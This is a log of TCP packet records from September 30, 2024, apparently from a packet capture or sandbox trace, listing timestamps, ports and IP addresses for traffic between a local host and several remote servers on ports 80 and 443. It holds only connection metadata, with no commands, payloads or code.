Sep 30, 2024 09:51:08.613979101 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.614280939 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.614321947 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.614348888 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.614351034 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.614389896 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.614391088 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.614447117 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.614459038 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.614486933 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.614499092 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.614505053 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.614511967 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.614522934 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.614540100 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.614576101 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.614576101 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.614665031 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.614716053 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.614732981 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.614743948 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.614784956 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.614795923 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.614806890 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.614825010 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.614835978 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.614847898 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.614877939 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.614877939 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.614893913 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.614907026 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.614933014 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.614943027 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.614948034 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.614953995 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.614988089 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.615019083 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.615039110 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.615050077 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.615093946 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.615446091 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.615490913 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.615503073 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.615497112 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.615546942 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.615556955 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.615569115 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.615580082 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.615591049 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.615614891 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.615614891 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.615643024 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.618038893 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.618069887 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.618086100 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.618098974 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.618105888 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.618105888 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.618108988 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.618143082 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.618143082 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.618180990 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.618191957 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.618201971 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.618212938 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.618223906 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.618233919 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.618261099 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.618261099 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.618279934 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.618292093 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.618302107 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.618311882 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.618323088 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.618329048 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.618335009 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.618350983 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.618367910 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.618393898 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.618406057 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.618416071 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.618458033 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.618818998 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.618838072 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.618849039 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.618885040 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.618885040 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.618899107 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.618912935 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.618923903 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.618933916 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.618944883 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.618947983 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.618972063 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.618993998 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.703633070 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.703655958 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.703665972 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.703758001 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.703787088 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.703799009 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.703809023 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.703819036 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.703830004 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.703839064 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.703843117 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.703875065 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.703890085 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.703901052 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.703913927 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.703929901 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.703974009 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.703986883 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.703998089 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.704008102 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.704032898 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.704032898 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.704070091 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.704128027 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.704138041 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.704186916 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.742314100 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.742346048 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.742357016 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.742405891 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.742433071 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.742443085 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.742455006 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.742465019 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.742481947 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.742494106 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.742497921 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.742520094 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.742531061 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.742539883 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.742542982 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.742559910 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.742573023 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.742580891 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.742583036 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.742600918 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.742609024 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.742609024 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.742610931 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.742624044 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.742634058 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.742643118 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.742645025 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.742661953 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.742680073 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.742722034 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.742733955 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.742749929 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.742760897 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.742769957 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.742775917 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.742810965 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.742810965 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.742852926 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.742863894 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.742873907 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.742882967 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.742898941 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.742899895 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.742938042 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.742938042 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.743055105 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.743109941 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.743139982 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.743150949 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.743160963 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.743170023 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.743180990 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.743191957 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.743195057 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.743202925 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.743216038 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.743216991 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.743227959 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.743238926 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.743240118 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.743262053 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.743259907 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.743279934 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.743304968 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.743304968 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.743308067 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.743319035 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.743359089 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.743359089 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.743400097 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.743412971 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.743423939 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.743433952 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.743443966 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.743458033 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.743458033 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.743491888 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.743498087 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.743498087 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.743540049 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.743582964 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.743592978 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.743602991 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.743613005 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.743630886 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.743638992 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.743643999 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.743655920 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.743659019 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.743673086 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.743680000 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.743704081 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.743731976 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.743751049 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.743762970 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.743772984 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.743783951 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.743803978 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.743803978 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.743839025 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.743851900 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.743863106 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.743872881 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.743882895 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.743892908 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.743896961 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.743938923 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.743938923 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.744013071 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.744059086 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.744069099 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.744069099 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.744102001 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.744112015 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.744122982 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.744132996 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.744143963 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.744165897 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.744194984 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.744225025 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.744235992 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.744246960 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.744273901 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.744307041 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.744321108 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.744333029 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.744342089 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.744352102 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.744364977 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.744399071 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.744400024 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.744407892 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.744420052 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.744452953 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.744457960 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.744457960 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.744465113 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.744476080 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.744493961 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.744525909 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.744561911 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.744574070 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.744582891 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.744594097 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.744621038 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.744621038 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.744654894 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.744668007 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.744679928 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.744689941 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.744699955 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.744709969 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.744724035 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.744756937 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.744757891 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.744780064 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.744824886 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.744836092 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.744836092 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.744863033 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.744883060 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.744883060 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.744895935 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.744906902 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:08.744940996 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:08.744940996 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:09.687366009 CEST	443	49703	23.1.237.91	192.168.2.5
Sep 30, 2024 09:51:09.687494040 CEST	49703	443	192.168.2.5	23.1.237.91
Sep 30, 2024 09:51:09.755388021 CEST	49707	80	192.168.2.5	185.215.113.37
Sep 30, 2024 09:51:09.760248899 CEST	80	49707	185.215.113.37	192.168.2.5
Sep 30, 2024 09:51:09.760334969 CEST	49707	80	192.168.2.5	185.215.113.37
Sep 30, 2024 09:51:09.760478020 CEST	49707	80	192.168.2.5	185.215.113.37
Sep 30, 2024 09:51:09.765198946 CEST	80	49707	185.215.113.37	192.168.2.5
Sep 30, 2024 09:51:10.474744081 CEST	80	49707	185.215.113.37	192.168.2.5
Sep 30, 2024 09:51:10.474808931 CEST	49707	80	192.168.2.5	185.215.113.37
Sep 30, 2024 09:51:10.478297949 CEST	49707	80	192.168.2.5	185.215.113.37
Sep 30, 2024 09:51:10.483160973 CEST	80	49707	185.215.113.37	192.168.2.5
Sep 30, 2024 09:51:10.709546089 CEST	80	49707	185.215.113.37	192.168.2.5
Sep 30, 2024 09:51:10.709733963 CEST	49707	80	192.168.2.5	185.215.113.37
Sep 30, 2024 09:51:10.981385946 CEST	49705	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:51:10.986783981 CEST	80	49705	185.215.113.43	192.168.2.5
Sep 30, 2024 09:51:10.986852884 CEST	49705	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:51:10.991821051 CEST	49708	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:51:10.996718884 CEST	80	49708	185.215.113.43	192.168.2.5
Sep 30, 2024 09:51:10.996793985 CEST	49708	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:51:11.005800009 CEST	49708	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:51:11.010577917 CEST	80	49708	185.215.113.43	192.168.2.5
Sep 30, 2024 09:51:11.692152977 CEST	80	49708	185.215.113.43	192.168.2.5
Sep 30, 2024 09:51:11.692249060 CEST	49708	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:51:11.705089092 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:11.705616951 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:11.710247993 CEST	80	49706	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:11.710308075 CEST	49706	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:11.710416079 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:11.710484028 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:11.710697889 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:11.715540886 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:12.084013939 CEST	49707	80	192.168.2.5	185.215.113.37
Sep 30, 2024 09:51:12.421024084 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:12.421042919 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:12.421055079 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:12.421080112 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:12.421083927 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:12.421096087 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:12.421108007 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:12.421112061 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:12.421129942 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:12.421144962 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:12.421299934 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:12.421348095 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:12.421349049 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:12.421360016 CEST	80	49709	185.215.113.103	192.168.2.5
